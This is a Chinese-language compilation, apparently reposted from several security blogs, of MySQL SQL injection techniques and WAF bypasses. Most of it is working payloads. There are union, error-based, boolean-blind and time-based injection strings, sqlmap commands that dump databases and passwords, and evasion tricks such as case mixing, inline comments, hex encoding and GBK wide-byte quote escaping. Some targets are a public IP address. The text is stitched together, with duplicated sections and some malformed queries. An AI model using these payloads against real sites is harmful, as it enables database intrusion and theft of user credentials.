概述
SQL注入绕过总结
mysql手工注入方法
?id=1%df’(测试是否存在注入,报错则存在)
?id=1%df’-- -(注释后面多余的’limit 0,1 页面正常)
?id=1%df’order by n-- -(order测试字段长度,报错则说明超出最大长度)
?id=-1%df’union select 1,2,3-- -
?id=-1%df’union select 1,2,database()-- -(在页面回显出当前的数据库名字)
?id=-1%df’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -(爆出当前数据库的所有表)
?id=0%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
(爆出目标表的列名)
?id=0%df‘ union select 1,2,group_concat(username,0x3a,password) from users--+(爆出目标列的字段名字)
http://219.153.49.228:48120/new_list.php?id=1
首先尝试id=1' and 1=1-- - 或者id=1" and 1=1-- - 或者1") and 1=1-- - 或者 1 and 1=1-- -
假如是id=1' and 1=1-- - 那么and 1=1 就是我们可控的点 接下来在这个位置进行替换就好
http://219.153.49.228:48120/new_list.php?id=1' order by 4-- - 判断字段个数
让id查询不到 显示我们的union select的值 且union select 后的数字遵循order by 判断的值
http://219.153.49.228:48120/new_list.php?id=-1' union select 1,2,3,4-- -
查询当前数据库
http://219.153.49.228:48120/new_list.php?id=-1 union select 1,database(),3,4-- -
http://219.153.49.228:48120/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()-- - (注入出表名)
http://219.153.49.228:48120/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="StormGroup_member"-- -(注入出列名)
http://219.153.49.228:48120/new_list.php?id=-1 union select 1,group_concat(name,0x3a,password),3,4 from StormGroup_member-- -(注入出字段值)
注出所有表
http://test
?id=1' and (select 1 from (select count(*),concat(((select (schema_name) from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -
http://test?id=2'
and (select 1 from (select count(*),concat(((select concat(schema_name,';') from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -
当前数据库
http://test
?id=2' and (select 1 from (select count(*),concat(((select concat(database(),';'))),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -
当前数据库的表
http://test
?id=2' and (select 1 from (select count(*),concat(((select concat(table_name,';') from information_schema.tables where table_schema='security' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -
列名
http://test
?id=2' and (select 1 from (select count(*),concat(((select concat(column_name,';') from information_schema.columns where table_name='users' limit 5,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -
报字段
http://test
?id=2' and (select 1 from (select count(*),concat(((select concat(password,';') from users limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -
报错注入
http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php
?id=2' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) -- -
http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php
?id=2' and updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- -
http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php
?id=2' and updatexml(1,concat(0x7e,(select (column_name) from information_schema.columns where table_name="users" limit 0,1),0x7e),1)-- -
大碗宽面
mysql手工注入方法
以查找书籍页面为例,post一个name=1给后端,拼接到sql语句select * from books where bookid =‘$id’limit 0,1;
?id=1’(测试是否存在注入,报错则存在)
?id=1’-- -(注释后面多余的’limit 0,1 页面正常)
?id=1’order by n-- -(order测试字段长度,报错则说明超出最大长度)
?id=-1’union select 1,2,3-- -
?id=-1’union select 1,2,database()-- -(在页面回显出当前的数据库名字)
?id=-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -(爆出当前数据库的所有表)
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
(爆出目标表的列名)
?id=0‘ union select 1,2,group_concat(username,0x3a,password) from users--+(爆出目标列的字段名字)
http://219.153.49.228:48896/new_list.php?id=-1%df%27%20union%20select%201,2,3,4,database()--%20-
http://219.153.49.228:48896/new_list.php?id=-1%df%27%20union%20select%201,2,3,4,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20--%20-
notice,stormgroup_member
爆表名的时候要进行hash编码
id=-1%df' union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_name=0x73746F726D67726F75705F6D656D626572-- -
页面上一节我们已经观察过了,这次我们就直接开始思考,并且还是猜测sql为:
select * from table where id = $id+(后面可能有的限制语句或嵌套查询语句等等,因此我都习惯在注入语句后面跟注释符屏蔽这些可能的干扰)
标题是延时注入,那么首先想到的就是用sleep()函数来让页面延时打开,进而判断出延时注入点。
假设$id为数字型:
url?id=1 and sleep(1) %23,无反应
假设$id为字符型:
括号:url?id=1) and sleep(1) %23,无反应
双引号:url?id=1" and sleep(1) %23,无反应
单引号:url?id=1' and sleep(1) %23,有反应了,页面有明显的延迟
至此,延时注入点就找到了,我们就可以利用它来获取我们想要的信息了。
比如用户名长度
url?id=1' and sleep(if(length(user())<15,0,3)) %23
url?id=1' and sleep(if(length(user())<15,0,3)) %23
比如操作系统名
url?id=1' and sleep(if("Win32"=@@version_compile_os,0,3)) %23
以上只是说明思路,具体用哪种函数并不重要,不过还是介绍下常用的几种函数:
sleep() //等待一定时间后执行SQL语句,单位为秒,如sleep(3)为等待3秒
if(条件,true,false) //条件为真返回true值,否则返回false值,如if(a=b,0,5)为如果a等于b则返回0,否找返回5。常用条件:=、<、<=、>、>=
length(str) //返回长度
mid(str,start,length) //截取字符串,从1开始,0以及超过长度部分返回NULL
ord(str) //返回字符串第一个字符的 ASCII 值。
2019/5/17:增加查询Flag
这个太麻烦了,有毅力的读者请参照第一关的思路来弄吧,弄的时候需要注意flag值可能在其他表、其他库。
sqlmap用法
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' # 检测注入点是否可用
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --dbs #可曝出该mysql中所有数据库名称
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --current-db #web当前使用的数据库
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --current-user #web数据库使用账户
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --users #列出sql所有用户
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --passwords #数据库账户与密码
sqlmap -u ‘192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1’ --tables #输出所有的表
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' -D 【数据库名】 --tables #-D 指定数据库名
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' -D 【数据库名】 -T 【表名】 --columns #-T:指定要列出字段的表 --columns 列出了所有的列字段
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' -D 【数据库名】 -T 【表名】 -C"username,realname,password" --dump # -C :指定要暴的字段
sqlmap万能用法
burp抓包保存为1.txt
sqlmap -r 1.txt --dbs #可曝出该mysql中所有数据库名称
sqlmap -r 1.txt --current-db #web当前使用的数据库
猜测数据库
?id=1' and length(database())=8-- -
id=1' and left(database(),1)>'a' -- - 1
id=1' and left(database(),1)>'z' -- - 0
在a-z之间
id=1' and left(database(),1)>'r' -- -1
id=1' and left(database(),1)>'s' -- -0
id=1' and left(database(),2)>'sa'-- -
猜测表
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1),b,1))>n
a是从0开始第几个表,b是为第几个字符,n是ASCII所对应的十进制数
第一个表
ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101
ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101
第二个表
ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 1,1),1,1))=101
判断user表
http://localhost/Tkitn/sqlitest/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='user' limit 0,1),1,1))>100%23
爆出字段
http://localhost/Tkitn/sqlitest/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68-- -
盲注
时间盲注
?id=1' and sleep(5)-- -
?id=1' and if(length(database())>=8,sleep(5),1)-- -
盲注
转载:
https://blog.csdn.net/wy_97/article/details/78085664
https://blog.csdn.net/zacklin/article/details/7741455
https://www.jianshu.com/p/078df7a35671
https://www.cnblogs.com/baimaoma/p/8608490.html
https://blog.csdn.net/qq_31481187/article/details/59727015
https://zhuanlan.zhihu.com/p/320579411
常见注入点位置及判断方法
- GET中的注入点 一般这种注入点最容易被发现了,可以用sqlmap或者 手工验证。
- POS中的注入点 POST参数中的注入点一般无法直接发现,需要使用burp或浏览器插件(推荐hackbar 或maxhackbar)抓包后发现。当然 sqlmap 也是可以的。
- User-agent 注入点 使用sqlmap 和 burp的 repeater 模块都可以发现 User-agent中的注入点。这类题目较少。
- Cookie 中的注入点 这个也是可以用 sqlmap 和 burp 工具来发现。相对 User-agent 注入点,Cookie中的注入点更为多见。
当我们选择注入位置后,需要判断是否存在注入。存在注入前,我们假设服务器程序执行以下SQL语句:
SELECT UseName FROM User WHERE id='$id';
SELECT UseName FROM User WHERE id= $id;
上面两种假设当中,第一种为字符串类型注入、第二种为数字型注入。
完成上述假设后,我们通过以下几种方法来判断是否存在注入:
- 插入单引号 是我们最常见的检测方法,通过插入单引号导致SQL语句引起未闭合错误,确认是否存在注入。
- 数字型判断 通过 and 1=1 和 'and'1'='1 进行判断。
- 通过加减法判断 如果原语句是 ?id=2 尝试使用 id=3-1 尝试。
1.0各类绕过方法的介绍
- 关键字过滤, 即 过滤了 select、or 、from 等关键字。这类题目通常将关键字搜索到后置换为空,我们通常穿插关键字的方法进行绕过,也可以通过大小写转换的方式绕过。也可以通过十六进制和双重URL编码来进行绕过。
- 空格过滤 即对空格进行了过滤。需要用到注释符绕过、URL编码绕过、空白符绕过、特殊符号绕过。
通过表格说明绕过方法:
1.1 注释符绕过
常用注释符:
-- , /**/, #(%23)
验证:
mysql> select * from sql_test where id = /*11*/1;
+----+----------+----------+| id | username | password |
+----+----------+----------+
| 1 | admin | 123456 |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from sql_test where id = 3;-- select * from sql_test;
+----+----------+----------+
| id | username | password |+----+----------+----------+
| 3 | test2 | 456 |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from sql_test where id = 3;# select * from sql_test;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 3 | test2 | 456 |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from sql_test where id ='1'/1=(1=3)/'1'='1';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 2 | test | 234 |
| 3 | test2 | 456 |
+----+----------+----------+
2 rows in set (0.00 sec)
mysql> select * from sql_test where id ='1'/1=(1=1)/'1'='1';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | 123456 |
+----+----------+----------+
1 row in set (0.00 sec)
理解如下:
where id=1=0/1=1
->where id=1=0=1
id!=1,比如id=2 和 id=3的时候
id=1返回了一个值为0的布尔变量
0=0继而返回了1的布尔变量
再和=1比较,返回比较成功,故选取了id 2,3的记录
先除后判等,左往右
1.2 大小写绕过
sql语句忽略关键词是否大小写,其实只要waf不是故意这样设计的,基本上拦截都是大小写一起拦截的
mysql> select * from sql_test where id = 3 uniON sEleCt * from sql_test where id = 2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 3 | test2 | 456 |
| 2 | test | 234 |
+----+----------+----------+
2 rows in set (0.00 sec)
1.3 内联注释绕过
ummmm,解释起来就是,它把一些特有的仅在MYSQL上的语句放在 /*! ... */ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中它会执行
mysql> select * from sql_test where id = 3 union /*!select*/ * from sql_test where id like 2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 3 | test2 | 456 |
| 2 | test | 234 |
+----+----------+----------+
2 rows in set (0.00 sec)
1.4 双关键字绕过
?id=1+UNIunionON+SeLselectECT+1,2,3–
这个一般用于简易waf,好心办坏事,比如说他将关键词select忽略大小写,只要有这个词,就把它替换成空(注意,只替换一次),这样原先我们注入的seleselectct是错误的,识别不出来的,但是经过waf 就变成了select,可以正确识别
1.5 编码绕过
双重url编码,这个得遇到特殊题目可以这么做,后台可能代码如下:
$insert=$link->query(urldecode($_GET['id']));
$row=$insert->fetch_row();
16进制绕过:
mysql> select * from sql_test where id = 3 union select * from sql_test where username = 0x74657374;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 3 | test2 | 456 |
| 2 | test | 234 |
+----+----------+----------+
2 rows in set (0.06 sec)
mysql> select * from sql_test where username = char(116)+char(101)+char(115)+char(116);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | 123456 |
| 2 | test | 234 |
| 3 | test2 | 456 |
+----+----------+----------+
3 rows in set, 3 warnings (0.00 sec)
1.6 空格绕过
waf拦截了空格,怎么办?五种考虑,用双空格/制表符代替尝试,用/**/当做空格,用括号包起来进行,用回车代替空格,反引号`的使用
mysql> select(id)from(sql_test)where(id=1);
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
mysql> select/**/id/**/from/**/sql_test/**/where/**/id=1/**/;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
mysql> select
-> id
-> from
-> sql_test
-> where
-> id
-> =
-> 1
-> ;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
注:url中%0a为回车
mysql> select username from sql_test where id=1 ;
+----------+
| username |
+----------+
| admin |
+----------+
1 row in set (0.00 sec)
mysql> select*from`sql_test`where`id`=1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | 123456 |
+----+----------+----------+
1 row in set (0.00 sec)
1.7 等于号绕过
拦截了等于号,我们可以用like去代替:
mysql> select * from sql_test where username like 'admin';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | 123456 |
+----+----------+----------+
1 row in set (0.00 sec)
1.8 逗号绕过
在使用盲注的时候,需要使用到substr(),mid(),limit;这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from for的方式来解决,limit则可以用offset
mysql> select * from sql_test where ascii(mid(username from 1 for 1))>1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | 123456 |
| 2 | test | 234 |
| 3 | test2 | 456 |
+----+----------+----------+
3 rows in set (0.00 sec)
mysql> select * from sql_test where ascii(mid(username from 1 for 1))>97;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 2 | test | 234 |
| 3 | test2 | 456 |
+----+----------+----------+
2 rows in set (0.00 sec)
mysql> select * from sql_test where ascii(substr(username from 1 for 1))>97;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 2 | test | 234 |
| 3 | test2 | 456 |
+----+----------+----------+
2 rows in set (0.00 sec)
mysql> select * from sql_test limit 1 offset 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 2 | test | 234 |
+----+----------+----------+
1 row in set (0.00 sec)
1.9 大于号小于号拦截绕过
在使用盲注的时候,在爆破的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest,strcmp,in,between来进行绕过了。
mysql> select * from sql_test where id=1 and greatest(ascii(substr(username,1,1)),1)=97;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | 123456 |
+----+----------+----------+
1 row in set (0.05 sec)
mysql> select * from sql_test where id=1 and strcmp(ascii(substr(username,1,1)),1);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | 123456 |
+----+----------+----------+
1 row in set (0.03 sec)
mysql> select * from sql_test where id=1 and strcmp(ascii(substr(username,1,1)),97);
Empty set (0.00 sec)
mysql> select * from sql_test where id = 1 and substr(username,1,1) in ('a');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | 123456 |
+----+----------+----------+
1 row in set (0.23 sec)
mysql> select * from sql_test where id = 1 and substr(username,1,1) in ('b');
Empty set (0.00 sec)
mysql> select * from sql_test where id = 1 and substr(username,1,1) between 0x61 and 0x63;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | 123456 |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from sql_test where id = 1 and substr(username,1,1) between 'a' and 'c';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | 123456 |
+----+----------+----------+
1 row in set (0.00 sec)
2.0 宽字节注入
过滤单引号时,可以试试宽字节
%bf%27 %df%27 %aa%27
%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠,变成了 %df’,其中的十六进制是 %5C ,那么现在%df’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df’ = %df%5c%27=縗’,有了单引号就好注入了。
2.1 常用连接语句符号
or,and,union,&&,||,^
^指的是异或操作,通常用于布尔型盲注绕过连接词
2.2 几个报错注入用来绕过的函数
extractvalue/updatexml
解释太复杂了,这里有详解,点这里
2.3 N,E0,.0绕过
其实相当于NULL字符
mysql> select*from sql_test where id =Nunion select * from sql_test where id=2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 2 | test | 234 |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select*from sql_test where id =8E0union select * from sql_test where id=2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 2 | test | 234 |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select*from sql_test where id =8.0union select * from sql_test where id=2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 2 | test | 234 |
+----+----------+----------+
1 row in set (0.06 sec)
mysql> select*from sql_test where id =7E0;
Empty set (0.00 sec)
mysql> select*from sql_test where id =7.0;
Empty set (0.00 sec)
mysql> select*from sql_test where id =N;
Empty set (0.00 sec)
最后
以上就是快乐石头为你收集整理的SQL注入绕过总结SQL注入绕过总结的全部内容,希望文章能够帮你解决SQL注入绕过总结SQL注入绕过总结所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复